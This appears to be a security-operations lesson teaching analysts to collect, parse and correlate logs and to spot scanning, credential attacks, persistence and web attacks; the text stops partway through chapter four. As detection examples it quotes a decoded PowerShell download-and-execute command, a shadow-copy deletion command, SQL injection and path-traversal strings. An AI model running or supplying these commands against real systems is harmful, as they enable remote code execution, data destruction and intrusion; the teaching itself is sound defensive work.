Security Monitoring and Log Analysis

Learn how security analysts turn raw logs into decisions. Choose and collect logs from networks, hosts, applications, cloud services and identity systems; parse, normalize and enrich them; and recognize the indicators that point to scanning, stolen credentials, persistence, data theft and attacks on web applications. Build baselines and SIEM correlation rules, triage alerts to separate real incidents from noise, and write, test and tune detection rules so they stay accurate. Worked examples use realistic log entries, Windows and cloud events, Sigma rules and simple statistics.

IntermediateLesson 1 of 7 in Security Operations and Incident Response Course

What you will learn

  1. Choose the log sources that answer security questions, read and parse their formats, keep collection complete and trustworthy, and normalize and enrich events so they can be searched together.
    • Choose log sources that answer security questions
      Name the main network, host, application and security-tool log sources, say what each one records, and pick the source that answers a given investigation question.
    • Read and parse common log formats
      Read syslog, Windows event, JSON, key-value, CEF and web access log entries field by field, and extract fields with parsers and regular expressions.
    • Keep log collection complete, timely and trustworthy
      Collect logs reliably from every source, synchronize time, protect logs from tampering, plan retention and storage, and notice when a source goes silent.
    • Normalize and enrich events
      Map fields from different sources into one common schema, standardize time and value formats, and add asset, identity, location and threat context to events.
  2. Read network, host and application logs for the patterns that point to scanning, command and control, misuse of built-in tools, persistence, data theft and attacks on web applications, and weigh the innocent explanations for each.
    • Spot network indicators
      Recognize scanning, unexpected ports, rogue devices, beaconing, suspicious DNS, lateral movement and data exfiltration in firewall, flow, proxy and DNS logs.
    • Spot host indicators
      Recognize suspicious processes, misuse of built-in tools, encoded commands, persistence, log tampering, unauthorized software and resource abuse in endpoint logs.
    • Spot application and web indicators
      Read web server, application and database logs for injection attempts, scanning, web shells, account abuse and service disruption.
  3. Use cloud audit logs and identity sign-in and audit logs to spot misuse of cloud accounts, stolen credentials and unauthorized privilege changes.
    • Analyze cloud audit and service logs
      Know which cloud logs exist and which are on by default, read a cloud API event, and recognize logging tampering, credential misuse, risky configuration changes and resource abuse.
    • Analyze sign-in activity
      Read identity-provider and Windows authentication logs, and recognize brute force, password spraying, credential stuffing, impossible travel, MFA fatigue and other signs of stolen credentials.
    • Track account and privilege changes
      Monitor the creation of accounts and credentials, changes to group and role membership and other permission changes on premises and in the cloud, and judge them against expected administration.
  4. Describe normal activity with baselines, judge anomalies against them, and build SIEM correlation logic that links events across time and sources.
    • Build baselines and judge anomalies
      Define what normal looks like for users, hosts and services, measure deviations with simple statistics and peer groups, and decide when an anomaly deserves attention.
    • Write correlation logic for SIEM rules
      Explain what a SIEM does and design correlation rules (single event, threshold, distinct count, sequence, cross-source and absence) with suitable grouping keys and time windows.
  5. Classify alert outcomes, work each alert from first look to a documented decision, and investigate efficiently with queries, decoding and reputation tools.
    • Classify alert outcomes
      Distinguish true and false positives and negatives, including benign true positives, and explain why base rates, precision and alert fatigue make alert quality matter.
    • Work an alert from first look to decision
      Follow a repeatable triage workflow: understand the alert, validate it against raw events, add context, scope it, decide and document, and escalate with a clear handoff.
    • Investigate with queries, decoding and reputation tools
      Search and pivot through logs with focused queries, decode obfuscated data, check the reputation of addresses, domains and files safely, and use AI assistants with care.
  6. Turn a threat into a tested, documented detection rule, then tune and maintain detections so they stay accurate as the environment changes.
    • Design, write and test a detection rule
      Follow the detection engineering life cycle: define the behavior and the data, write portable rule logic, map it to MITRE ATT&CK, test it with malicious and normal data, and document it.
    • Tune detections and track their quality
      Reduce false positives without creating blind spots, use exclusions and thresholds carefully, measure detection quality, and keep coverage healthy over time.

Security Monitoring and Log Analysis study guide

6 chapters

1

Build a dependable log pipeline

A useful investigation starts before an alert arrives. The right systems must record the right details, and those details must reach a searchable store with their meaning intact. Learn to choose sources for specific questions, read their formats, protect collection, and give events common fields and useful context. These choices determine what later searches and detections can see.

1.1 Match the question to the evidence

An event is an observable occurrence, such as a sign-in or a process starting. A log records events. An alert says that monitored events matched detection logic. An incident actually or imminently threatens information or systems, or violates or imminently threatens to violate law, security policy, procedures, or acceptable-use policy. An analyst checks the evidence before deciding how to classify an alert.

Choose a source by its view
QuestionUseful sourceWhat to read
Who signed in?Host or identity-provider authentication logsUser, source, method, outcome
What ran?Process creation or EDRProgram, command line, parent, user
Who held an address?DHCPDevice and lease interval
What name was requested?DNSClient, query, answer
Where did traffic go?Firewall, proxy, flow recordsDestination, time, bytes, action

Firewalls record allowed and denied connections. Proxies and secure web gateways add URLs, user agents, and transfer sizes. VPN gateways show remote sessions; IDS/IPS tools report traffic matching their signatures. Flow records, including NetFlow and IPFIX, summarize conversations by addresses, ports, protocol, time, packets, and bytes. They remain useful for encrypted traffic because they describe its shape, but contain no payload.

Host logs reveal activity behind those connections. Windows Security events include authentication, account changes, and process creation when auditing is enabled. System and Application logs show services and software. Sysmon and EDR add process, file, registry, and network detail. PowerShell script block logging records script content in event 4104. Linux authentication messages commonly appear in /var/log/auth.log on Debian-family systems or /var/log/secure on Red Hat-family systems. The systemd journal is read with journalctl; auditd records the activity selected by its audit rules.

Web access and error logs, database audits, business-application audits, and email gateways explain requests and data use. Antivirus, DLP, WAF, and vulnerability-scanner findings add another view. A security tool's finding is still an event to interpret alongside the underlying activity.

Follow an address through time

A proxy records a download by 10.20.30.45 at 14:02 UTC. The DHCP lease assigns that address to LAPTOP-0193 from 13:30 to 21:30 that day. Search that laptop's process events around the download. Today's lease holder could be a different device; matching the address without the lease interval can send the investigation to the wrong host.

Verify collection before relying on it

Check an actual sample for the fields your question needs. Windows event 4688 needs the command-line capture policy to include command text. Sysmon network event 3 is disabled by default. A SIEM receives only the data sent to it. Prioritize useful detail on critical assets and privileged identities, and check allowed connections too: an allowed connection can carry an attack.

Key Takeaways

  • Start with the investigation question, then choose sources.
  • Flow records show traffic metadata without payload.
  • Resolve an IP address to the device at the event time.
  • Verify auditing and required fields with real sample events.

1.2 Turn raw entries into searchable fields

Parsing extracts named fields from a raw entry. A search for a text fragment can find a line; parsed fields let you count failures by user, compare addresses, and sort by event time. Keep the raw entry so you can check the extraction.

Read the structure first

RFC 5424 syslog begins with priority, version, timestamp, host, application, process ID, message ID, structured data, and message text. Older RFC 3164 timestamps such as Mar 14 10:15:02 omit the year and time zone, which must be resolved from the source context.

Syslog priority combines facility and severity:

priority=8×facility+severity

For <38>, division by 8 gives facility 4 and remainder 6, Informational. For <34>, the same facility has severity 2, Critical. Severity numbers run from 0 Emergency through 1 Alert, 2 Critical, 3 Error, 4 Warning, 5 Notice, 6 Informational, and 7 Debug. A low number is more severe. This is the sending application's rating: an Informational SSH failure can still belong to an attack.

Windows EVTX files can be viewed as XML or rendered text. The System section identifies the provider, event ID, UTC creation time, computer, and channel. EventData holds fields specific to the event. For 4625, inspect TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName, and ProcessName. Type 10 means RemoteInteractive; type 2 means an interactive local logon. The same event ID can describe quite different access paths.

Extract fields by their meaning

JSON parsers look up keys, including nested paths such as responseElements.ConsoleLogin. They must handle missing and null fields and changing key order. Key-value records label values directly, as in src=203.0.113.45 dport=3389 action=deny. CEF adds a pipe-separated header containing vendor, product, signature, name, and severity before its key-value extensions; use a parser that understands its escaping.

In a combined web access log, read client address, identity, authenticated user, time and offset, request, status, response bytes, referrer, and user agent. A dash means a value is absent. User agents are supplied by clients, so a scanner name is useful evidence but an ordinary browser name can be imitated.

Extract two SSH message forms

This regex handles both a normal username and the phrase "invalid user":

Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)

In Failed password for invalid user admin from 203.0.113.45 port 52114, the captured values are admin, 203.0.113.45, and 52114. The optional noncapturing group consumes "invalid user " without making it the username. \S+ captures non-space text; \d+ captures digits.

The pattern extracts an address-shaped value; it also accepts octets such as 999, so address validation is a separate step. Avoid greedy .* where it can swallow a field separator. Join multiline records before parsing, and monitor parse failures after software updates: a changed layout can quietly leave detection fields empty.

Key Takeaways

  • Parsing enables field-based searches and counts.
  • Syslog severity is a source rating, not an attack verdict.
  • Use named JSON fields and handle absent values.
  • Test regex on different message forms and retain the raw entry.
  • Monitor parser failures when log formats change.

1.3 Keep evidence arriving with trustworthy times

Collection must keep working through ordinary outages and deliberate interference. An accurate rule has little value when its source stops sending or its timestamps put events in the wrong order.

Choose and monitor the route

An agent reads local logs and can buffer, filter, encrypt, and forward them. Agentless routes include syslog, Windows Event Forwarding, cloud API polling, and exports to storage or streams. Each route needs health monitoring. UDP syslog on port 514 is unencrypted and gives no delivery confirmation. TCP adds reliable delivery; syslog over TLS on port 6514 adds encryption and server authentication. Use reliable encrypted transport across untrusted networks and buffer events during collector outages.

Synchronize source clocks with a reliable time service, commonly NTP on UDP 123. Store UTC and keep the original offset. The firewall time 2026-03-14 10:15:00 +02:00 equals 2026-03-14T08:15:00Z. A host clock seven minutes fast places its events too late and can reverse a timeline. Large drift also breaks time-sensitive authentication; Windows Kerberos permits five minutes by default.

Event time records when activity happened. Ingest time records when the platform received it. Buffered and cloud events may arrive late. Correlate by event time and give scheduled searches enough delay or look-back to include late arrivals.

Protect and retain the record

Forward logs off hosts quickly, limit reading and deletion privileges, and separate log control from routine administration. Immutable storage and cryptographic digests help detect or prevent alteration. CloudTrail integrity validation uses SHA-256 digest files. Monitor Windows 1102 for audit-log clearing and 4719 for audit-policy changes, plus cloud actions such as StopLogging and DeleteTrail. Restrict access because logs can contain personal and sensitive data.

Retention follows investigation needs and applicable legal, contractual, or regulatory duties. For example, PCI DSS v4.0 requirement 10.5.1 requires at least 12 months of audit history and the most recent three months immediately available. Recent searchable storage is often called hot storage; archives cost less but take longer to search or restore. Defaults alone may be too short: Entra audit and sign-in logs retain 7 days on Free or 30 days on P1/P2, while CloudTrail event history offers 90 days of management events. Export supports longer retention.

Estimate volume and watch for silence

For 2,000 endpoints producing 5,000 events each day at 500 bytes each, the daily raw volume is 5,000,000,000 bytes, or 5 GB. Ninety days requires 450 GB; a year requires 1.825 TB before compression, indexing, and other storage overheads.

Track expected volume and heartbeats for critical sources, collector errors, queue backlogs, and parse failures. "No DC01 events for 30 minutes" is a health alert even when no attack alert fired. A logging standard should specify audit categories, command-line capture, script logging, and appropriate detail for each system type. Error-only collection misses security activity; routine debug collection can overwhelm storage.

Key Takeaways

  • Use buffering and reliable encrypted transport across untrusted networks.
  • Convert offsets and distinguish event time from ingest time.
  • Protect central copies and monitor logging changes.
  • Set retention deliberately and estimate raw volume before overheads.
  • Alert on missing critical sources as well as suspicious events.

1.4 Give events common fields and useful context

A Windows event, a Linux message, and a cloud record can describe the same kind of action with different names. Normalization gives those fields common names, types, and value conventions. Enrichment adds information about the people, systems, and destinations involved.

Normalize meanings, not just names
Raw sourceAddress fieldCommon field
WindowsIpAddresssource.ip
Firewallsrcsource.ip
CloudTrailsourceIPAddresssource.ip

For failed sign-ins by jdoe from 203.0.113.45, all three sources can become event.category=authentication, event.outcome=failure, user.name=jdoe, and source.ip=203.0.113.45. One source-grouped authentication rule can then search all three.

Common schemas include ECS, OCSF, CIM, and ASIM. The example field names follow ECS style. A schema also defines data types and allowed values. Store addresses as address values so subnet searches work. Convert times to ISO 8601 UTC. Map different representations of success or failure to a shared outcome, using the source action's actual meaning. A firewall's "allowed" result describes a connection decision, not a successful user authentication.

Resolve identities such as EXAMPLE\jdoe, jdoe@example.com, and JDOE to the same account where they truly represent that account. Case folding is appropriate when the source treats case as equivalent. Preserve distinctions where case matters, and avoid merging two people merely because their short usernames match.

Add context that changes the question

Useful enrichment includes asset owner, operating system, business role, criticality, and internet exposure; user department, privilege, service-account status, and employment status; DHCP history; and public-address network owner, approximate location, and reputation.

An alert reports repeated failures for svc-backup from 10.20.30.45. Asset context identifies a marketing laptop. Identity context says that this service account normally signs in only from backup server 10.0.8.12. The unexpected relationship deserves attention even before the failure count becomes large.

Know when context was attached. Ingest-time enrichment preserves the context available when the event arrived. Search-time enrichment usually shows the current state. A current asset owner or address assignment can misdescribe older events, so use historical records when the question concerns past ownership.

Check mappings and reductions

Geolocation can be distorted by VPNs, mobile carriers, proxies, and cloud hosting. Reputation changes as infrastructure changes owners. Use both as supporting evidence and inspect their age. Validate field mappings against raw samples: mapping a destination into source.ip can make a rule blame the wrong system.

Deduplication removes repeat deliveries of one event. Aggregation combines several events, perhaps storing one count for 1,000 denies. Aggregation saves space but discards individual details. Retain the fields and raw events required by detections and investigations; filtering them out at the source creates a gap no later correlation can repair.

Key Takeaways

  • Normalize names, types, timestamps, identities, and outcomes.
  • Enrichment adds asset, identity, and destination context.
  • Check whether context describes the past event or the current environment.
  • Validate mappings against raw events before trusting a rule.
2

Read patterns across network, host, and application logs

A suspicious address is only one clue. Timing, traffic direction, process relationships, request patterns, and follow-on actions often say more. Read each source for what it can show, compare the activity with expected work, and connect independent records into a timeline. The strongest conclusions explain a sequence across sources while keeping attempts, successful actions, and unanswered questions distinct.

2.1 Recognize suspicious network patterns

An indicator of compromise is an observable artifact suggesting compromise. An atomic indicator is a single address, domain, URL, or hash. A behavioral indicator is a pattern, such as a workstation contacting many peers on port 445. Atomic values are quick to match and easy to replace; behavior describes what the actor does.

Read the shape of connections

A vertical scan probes many ports on one host. A horizontal sweep probes one port on many hosts. Many denied or reset connections with tiny byte counts fit scanning, but authorized vulnerability scanners do the same work. Compare source, scope, and schedule. Background internet probing of a perimeter has a different context from scanning by an internal workstation.

Unexpected relationships matter as much as ports. Workstations suddenly contacting one another by SMB 445, RDP 3389, or WinRM 5985/5986 can indicate lateral movement. Management servers and jump hosts may legitimately do this. A database server initiating SSH, an internet-exposed workstation accepting RDP, or traffic whose protocol does not fit its port merits a closer look. A port number suggests a service; it does not establish the actual protocol.

New MAC addresses in DHCP, switch, NAC, or wireless-controller logs can reveal rogue devices. Compare with inventory and onboarding records: a new printer and an unknown device on a server segment create different risks.

Examine repetition and naming

Beaconing is repeated command-and-control contact. The times 0, 60, 121, 180, 241, 299, 360, 421, 480, and 540 seconds give gaps averaging 60 seconds with about 1.1 seconds of spread. Small requests, a repeated user agent, and overnight continuity strengthen the pattern. Check the initiating process and destination because updaters and telemetry also call home. Attackers can add random delay, or jitter.

DNS offers another view. A domain generation algorithm can produce many random-looking names and many NXDOMAIN answers. DNS tunneling can produce long labels, numerous unique subdomains beneath one domain, and unusual TXT query volume. A DNS label is limited to 63 characters. Shannon entropy measures character randomness: example is about 2.52 bits per character, while x9f3kq7z2b8wp1md is 4.0. High entropy also appears in legitimate cloud names; combine it with query volume, destination history, and domain age.

Follow volume and direction

Possible exfiltration includes unusually large outbound transfers to new destinations, unusual timing, or a high upload-to-download ratio. A server uploading 2.3 GB while receiving 40 MB has a ratio of 57.5 to 1, using decimal units. Check known backups and synchronization jobs before deciding why it happened. HTTPS hides payload content while still exposing useful volume and timing metadata.

NAT can place many devices behind one public address. Resolve the internal source using NAT, proxy, or internal firewall records at the relevant time. A destination's country alone gives too little context to decide whether a connection is malicious.

Key Takeaways

  • Compare scans with authorized sources and schedules.
  • Investigate unexpected peer connections and service use.
  • Combine beaconing or DNS clues with process and destination context.
  • Check transfer direction, volume, destination, and expected jobs.
  • Resolve NAT before attributing public-address activity to a device.

2.2 Connect process activity to persistence

Host telemetry connects network activity to the program and user responsible. Process creation is especially useful: Windows 4688 with command-line capture or Sysmon 1 shows the new process, command line, parent, and user. Sysmon also supplies hashes and process identifiers useful for linking events.

Read the parent and arguments
Process relationshipReason to investigate
winword.exe starts powershell.exeA document may have launched a script
w3wp.exe starts cmd.exeA web request may have reached a shell
services.exe starts a program in a user's temporary folderA service may point to an attacker-writable file

Legitimate signed tools can be abused as living off the land binaries. certutil.exe can download files, mshta.exe can run remote script content, and rundll32.exe can load a DLL from a writable folder. vssadmin delete shadows /all /quiet removes shadow copies and can precede ransomware. Judge the arguments, parent, user, path, signer, and surrounding actions together. A familiar filename alone tells little about intent.

PowerShell's -EncodedCommand carries Base64-encoded UTF-16LE text. Decoding the worked command yields iwr http://198.51.100.23/a.ps1|iex: download a script and execute it in memory. Encoding and hidden windows also occur in administration. Read the decoded content and, when available, script block event 4104.

Look for a way back in

Persistence allows access after reboot or logoff. Watch new services (7045 in System or 4697 in Security), scheduled tasks (4698), registry Run values (Sysmon 13), startup files (Sysmon 11), and new local accounts (4720). On Linux, review cron entries, systemd units, and new keys in ~/.ssh/authorized_keys. A task pointing to C:\Users\Public\upd.exe needs a different explanation from a documented software deployment.

Log clearing (1102), audit-policy changes (4719), a stopped Sysmon service (Sysmon 4), or removal of an EDR agent can indicate monitoring tampering. Check maintenance records promptly. Other clues include unapproved remote-access tools, unusual access to lsass.exe memory (Sysmon 10), and rapid file changes with ransom notes. High CPU or GPU use can fit cryptomining, but compare workload and scheduled jobs; a brief spike is weak evidence.

Build the execution chain

At 09:12:04 UTC, Outlook starts Word with Invoice_8841.docm. At 09:12:31, Word starts encoded PowerShell. At 09:12:33, that PowerShell process connects to 198.51.100.23:80; at 09:12:40, upd.exe is written; at 09:13:02, a scheduled task launches it at logon. Link the process and file records, not just nearby timestamps. The chain shows delivery, execution, download, and persistence and supports escalation. Missing host telemetry must remain a visible gap in the record.

Key Takeaways

  • Use parent processes and command lines to interpret execution.
  • Signed system tools can be misused.
  • Decode encoded commands and inspect script content.
  • Check persistence targets, creators, and change records.
  • Connect host events into a timeline and investigate monitoring tampering.

2.3 Read web attempts and their outcomes

Web and application logs reveal activity hidden inside ordinary HTTPS connections. Access logs describe requests, response codes, sizes, and client claims. Application and database audits add who accessed data, changed permissions, ran queries, or exported records.

Decode the request

URL encoding represents bytes with % followed by two hexadecimal digits. The fragment id=1%27%20OR%201%3D1--%20 becomes id=1' OR 1=1-- , suggesting SQL injection. The path ..%2F..%2F..%2Fetc%2Fpasswd becomes ../../../etc/passwd, suggesting path traversal. Other clues include UNION SELECT, script tags, or shell separators followed by commands.

Decode layers in order. %252e%252e%252f becomes %2e%2e%2f and then ../. Keep both the raw request and the decoded interpretation; replacing the original loses evidence of how the input was sent.

Read the sequence around the response
ObservationUseful interpretation
Many 404 responses across unrelated pathsDiscovery or forced browsing
Repeated 401 or 403 around authenticationPossible guessing or access failures
Injection-like input followed by 500Input may have disrupted backend processing
200 with a much larger responsePossible returned data; check application evidence
Request spike with 503 and timeoutsService disruption needing cause analysis

Codes describe HTTP handling, not the whole security outcome. Some applications use 200 for error pages, and a WAF can return a block page with 200. A scanner user agent is client-controlled. Neither a familiar user agent nor one blocked request settles the investigation.

In the worked sequence, a client makes 412 requests in three minutes, with 398 returning 404. An injection probe then returns 500; a later UNION SELECT request returns 200 with 48,210 bytes against the usual 2,100. The roughly 23-fold size increase after probing supports possible data exposure. Check database queries and application audit events to establish what was actually returned.

Connect application and host evidence

A web shell is a script that lets an attacker run commands through web requests. A new script in an upload folder, repeated POST requests from a few clients, and parameters such as cmd= warrant investigation. A matching web-server process spawning cmd.exe or /bin/sh adds direct host evidence of execution.

Watch application identities too: successes after failures, unexpected API-key origins, rate-limit bursts, and an ordinary user exporting thousands of records can reveal account abuse. These patterns require useful audit fields, not just error logs. If requests and errors spike after a deployment, examine the deployment and client sources alongside attack hypotheses; a faulty release or genuine traffic surge can also cause disruption.

Key Takeaways

  • Decode suspicious requests while keeping the raw text.
  • Use status, response size, and surrounding activity together.
  • Link web requests with host execution and database access.
  • Collect application audit fields for user and API actions.
3

Follow cloud and identity activity

Cloud resource changes and identity activity can expose an attacker before a host alert appears. Learn which logs describe resource management, data access, and sign-ins, then connect identities to the permissions and credentials they change. Automation creates a great deal of normal activity, so compare each action with the identity’s expected role, origin, and change process, and follow successful access into what happened next.

3.1 Separate cloud management from data use

Cloud providers protect their infrastructure; customers must enable, collect, and review monitoring for their accounts, identities, and resources. Console clicks, scripts, command-line tools, and infrastructure templates generally manage resources through APIs. Their audit trail answers who created, changed, or deleted a resource. Activity inside a virtual machine or application still needs workload logs.

Choose the right cloud layer
LayerRecordsExamples
Control planeResource and permission managementCloudTrail management, Azure Activity, Google Admin Activity
Data planeAccess to stored dataCloudTrail data events, Google Data Access
NetworkConversations and transfer metadataVPC or virtual-network flow logs
Workload or serviceApplication and platform activityVM logs, WAF, load balancer, Kubernetes audits

CloudTrail event history gives 90 days of recorded management events per region. Longer history and broader coverage need deliberate configuration, and data events are off by default. Google Admin Activity logs are always written and cannot be disabled; Data Access logs are off by default except for BigQuery. Enable useful data-access collection on sensitive resources and account for its volume.

Read a cloud action field by field

In CloudTrail, eventTime is UTC; eventSource identifies the service; eventName identifies the API action. userIdentity identifies the caller, while requestParameters identifies the requested target and settings. Also read sourceIPAddress, userAgent, awsRegion, responseElements, and any errorCode or errorMessage.

For a console login, inspect ConsoleLogin from signin.amazonaws.com, the success or failure under responseElements.ConsoleLogin, and additionalEventData.MFAUsed. For a new key, separate the caller from the user named in requestParameters.userName. They can be different identities.

Recognize linked cloud indicators

A stolen key may first call GetCallerIdentity, then enumerate with List, Describe, and Get. Repeated AccessDenied results reveal permission probing even when access controls hold. New credentials, unexpected role assumptions, root use, or changes that expose ports 22/3389 to 0.0.0.0/0 warrant context checks. Many large GPU instances in an unused region can indicate resource hijacking.

In the worked sequence, ci-deploy moves from its usual build-server address and SDK user agent to a new address and CLI. It enumerates resources, creates a key for admin-backup, then calls StopLogging. Together these actions suggest credential misuse, continued access, and an attempt to blind monitoring. Escalate and check independent sources for later activity.

Collect across relevant regions and accounts. Short-lived resources can disappear before triage; use stable resource IDs and tags, and ship host logs centrally. A shared cloud address alone cannot identify a tenant or establish that activity belongs to the organization's usual automation.

Key Takeaways

  • Separate management, data-access, network, and workload logs.
  • Check cloud collection defaults and regional coverage.
  • Distinguish the caller from the target of an API action.
  • Connect reconnaissance, credential changes, and logging tampering.
  • Track ephemeral resources by stable IDs and preserve their logs centrally.

3.2 Recognize password attacks and session abuse

An identity provider authenticates users for many applications. Its sign-in record can show user, app, address, device, client, method, MFA result, policy result, and failure reason. Entra separates interactive, non-interactive, service-principal, and managed-identity sign-ins. A search limited to interactive users misses application and token activity.

Interpret Windows authentication

Domain controllers record Kerberos ticket activity (4768, 4769, 4771) and NTLM credential validation (4776). The accessed computer records 4624 for success and 4625 for failure. Event 4740 records an account lockout.

Logon typeMeaning
2Interactive
3Network
4Batch
5Service
7Unlock
10RemoteInteractive, including RDP
11CachedInteractive

In 4625, inspect both Status and SubStatus. 0xC000006A indicates a wrong password, 0xC0000064 an unknown username, 0xC0000072 a disabled account, 0xC0000234 a locked account, and 0xC000006F a logon outside allowed hours. These reasons distinguish a password problem from a policy or account-state problem.

Group events to expose the attack

Brute force makes many guesses against one account. Password spraying tries one or a few likely passwords across many accounts, often staying below per-account lockout limits. Credential stuffing reuses leaked username-password pairs. Count attempts per account and distinct accounts per source, then look for successes. Attackers can distribute attempts across addresses, so neither grouping alone gives complete coverage.

In the worked spray, one address attempts 46 usernames once each: 41 wrong-password results and five unknown-user results. A later network-logon success for m.tanaka from that source raises priority. It strongly suggests working credentials after the spray, but check the authentication package and subsequent activity: type 3 can also use stolen hashes or tickets.

Check how the session was established

Impossible travel compares distance with elapsed time. Madrid and Seoul are about 10,000 km apart; 45 minutes would require roughly 13,300 km/h. Check VPN exits, hosted desktops, mobile-carrier geolocation, devices, and session outcomes before deciding the cause.

Repeated denied MFA pushes followed by approval can indicate MFA fatigue. An unusual session with MFA satisfied by an existing token can reflect token replay. Legacy authentication paths without MFA and a new registered MFA method after a risky sign-in also deserve attention. A completed MFA step alone leaves these paths unexplained.

A service account signing in interactively, a departed employee's account succeeding, or a new device and location together may indicate stolen access. Repeated rhythmic failures from one internal device often fit a stale saved password. Follow failures into successes and actions, and check both user and workload identities.

Key Takeaways

  • Read sign-in result, method, client, device, and policy context.
  • Use logon types and failure codes to identify the access path.
  • Group by account and source to distinguish guessing and spraying.
  • Follow successful sessions and inspect token or MFA abuse.
  • Check VPN and device context before interpreting travel alerts.
  • Include application identities and non-interactive sign-ins.

3.3 Check who changed access and who gained it

An attacker who gains access may create another credential or add privileges to keep operating. Sensitive account and role changes are often rare enough to review closely, especially when they follow an unusual sign-in.

Identify actor, target, and change

Read five facts: who acted, which account or resource was changed, what changed, when, and from where. In an account-change event, the subject is the actor and the target is the affected account. Then compare the action with an approved request and with what the actor normally manages.

Windows events include 4720 for account creation, 4722 for enabling, 4724 for a password-reset attempt, and 4738 for account changes. Membership additions appear as 4728, 4732, and 4756 for security-enabled global, local, and universal groups. Review sensitive groups such as Domain Admins, Enterprise Admins, Schema Admins, and local Administrators. Nested membership matters: a change to a group inside a privileged group can grant effective privilege too.

Event 4672 assigns special privileges at a new logon. It occurs during routine administrator and system-account work. Ask whether this account should have the privileges and whether this logon origin is expected; counting every 4672 as an escalation would create noise.

Extend the same questions to the cloud

In AWS, examine CreateUser, CreateAccessKey, policy attachment or inline-policy actions, and UpdateAssumeRolePolicy. A trust-policy change can let another account assume a role. Read the actual permission or trust change, not only its action name.

Entra audit events can show role additions, new service-principal credentials, application consent, MFA registration, and conditional-access changes. A secret or certificate added to a powerful application identity can preserve access without a human MFA prompt. OAuth consent can give an app continuing access to mail or files even after a user's password changes; review the consent grant itself.

Join the events around a privilege change

At 23:40 UTC, helpdesk account hd-ops3 adds svc-backup to Domain Admins without a ticket. At 23:31, the actor had signed in through an unexpected VPN origin; at 23:44, the target uses RDP to DC02. The unusual actor, missing authorization, risky preceding access, and immediate use of the new right support escalation.

Twelve accounts created by the identity-management service at 07:00 and matched to the onboarding list tell a different story. Authorization is evidence to check, not an assumption based on an administrator's name.

Focus monitoring on privileged memberships, powerful roles, service accounts, credentials, consents, and changes outside normal channels. Account creation alone misses an attacker who modifies an existing account or application. Keep the event identifiers, before-and-after values, and authorization reference in the triage record so the decision can be reviewed.

Key Takeaways

  • Separate the actor from the account or resource changed.
  • Check sensitive and nested group memberships.
  • Review application credentials and consent as well as human accounts.
  • Connect the change with preceding sign-ins and subsequent use.
4

Turn normal behavior and event patterns into rules

An alert needs a reason to stand out. Baselines describe expected activity for a user, host, or service; correlation joins events into a meaningful pattern. Learn to choose comparisons that fit the entity, measure deviations, and build rule logic with explicit grouping and timing. Small choices such as counting accounts instead of attempts can decide whether an attack is visible at all.

4.1 Measure deviations from a useful baseline

A baseline describes an entity's normal behavior over a reference period. An anomaly is a significant departure from it. Unusual activity needs an explanation: it may be an attack, a business change, or a data problem.

Compare the right things

A useful baseline can describe volume, timing, relationships, or configuration. Examples include bytes per day, usual working hours, normal destinations, approved software, and open ports. A peer-group baseline compares people or systems doing similar work, which helps when an entity has little history.

Choose the entity and metric first. Use several weeks to capture weekly cycles, and include month-end or quarter-end peaks when relevant. Remove known incidents and outages from training data. Compare Monday at 09:00 with similar Monday periods, not with a quiet Sunday. New software, organizational changes, and seasonal activity require review; otherwise ordinary change becomes a stream of anomalies.

Calculate and interpret the deviation

The mean measures average level, and standard deviation measures spread. A z-score expresses distance from the mean in standard-deviation units:

z=value−meanstandard deviation

For FS01, ten working-day outbound totals have a mean of 4.1 GB and sample standard deviation about 0.26 GB. A three-standard-deviation threshold is about 4.87 GB using the unrounded spread. Today's 9.6 GB has a z-score around 21. The next searches should establish destination, process or account, and scheduled work; the statistic alone cannot supply a cause.

Mean plus three standard deviations is a starting approach for roughly bell-shaped data. Security volumes are often skewed, with many small observations and a few very large ones. Medians and percentiles can give more useful comparisons. A threshold above the historical 99th percentile identifies an unusually large observation without assuming a bell-shaped distribution. It still depends on a representative reference period.

Combine weak signals by entity

User and entity behavior analytics, or UEBA, builds behavioral profiles, often using machine learning and peers. Risk-based alerting adds scores for the same entity over a period. A new-country sign-in worth 40 points, first administrative-tool use worth 30, and a large download worth 45 total 115 within 24 hours. With a threshold of 100, the combined alert presents a stronger story than three separate weak alerts.

The identity and time window are essential. Adding unrelated users' scores would create a different and misleading result. Scores rank evidence; they are not probabilities unless the system explicitly defines them that way.

A poisoned baseline can learn attacker behavior as normal. Low-and-slow activity can also remain below a volume threshold, such as 200 MB added to a server's usual 4 GB daily transfer. Combine anomaly logic with known-behavior rules and data-source health checks, and reassess thresholds when normal activity changes.

Key Takeaways

  • Choose an entity, metric, representative period, and relevant peers.
  • Compare equivalent business cycles and remove known bad reference data.
  • Use z-scores only with a meaningful spread and distribution.
  • Consider medians and percentiles for skewed metrics.
  • Accumulate risk for the same entity within a defined period.

4.2 Specify what a correlation rule must join

A security information and event management (SIEM) system collects, parses, normalizes, stores, and searches events, then applies rules or analytics to raise alerts. Correlation links events sharing an identity, host, address, session, or other attribute within a time span. SOAR tools can automate work on the resulting alerts.

Write the rule as parts

Every rule needs a filter, grouping key, window, aggregation, condition, and alert output. State each part before choosing product syntax.

Rule typePattern
Single eventOne audit-log clear
ThresholdAt least 10 failures per account in 5 minutes
Distinct countAt least 20 different accounts per source in 10 minutes
SequenceFailures followed by success
Cross-sourceRelated identity or host events from separate sources
AbsenceExpected heartbeat missing
StatisticalDeviation from a baseline

The grouping key determines what the rule can detect. Counts per account reveal concentrated guessing. Distinct users per source reveal single-source spraying. Distinct sources per account reveal distributed attacks on that account. Distributed spraying across both different accounts and addresses can remain below all those thresholds; examine shared target applications, timing, client features, or total failure-rate changes.

Work a sequence

First select authentication failures grouped by user.name and source.ip, with at least 10 failures within 5 minutes. Then require a success for that same user and source within the following 10 minutes. Twelve failures by jdoe from 198.51.100.20 between 10:03:10 and 10:06:40, followed by success at 10:07:05, satisfy both stages. A success for a different user must not complete the sequence.

Sigma can express correlations over base rules with type, rules, group-by, timespan, and condition. Types include event_count, value_count, temporal, and temporal_ordered. An event-count correlation over a failed-logon rule can group by TargetUserName, use 5m, and require gte: 10. Conversion to a backend still needs correct field mapping and supported semantics.

Make timing match the intended pattern

Fixed windows divide time into blocks. Six failures in 10:00–10:05 and four in 10:05–10:10 never reach ten in either block. A sliding five-minute window can catch all ten if the burst fits within it. Longer windows can capture slower attacks and require more processing. Alert latency depends on run frequency, ingestion delay, and whether evaluation waits for a window to close.

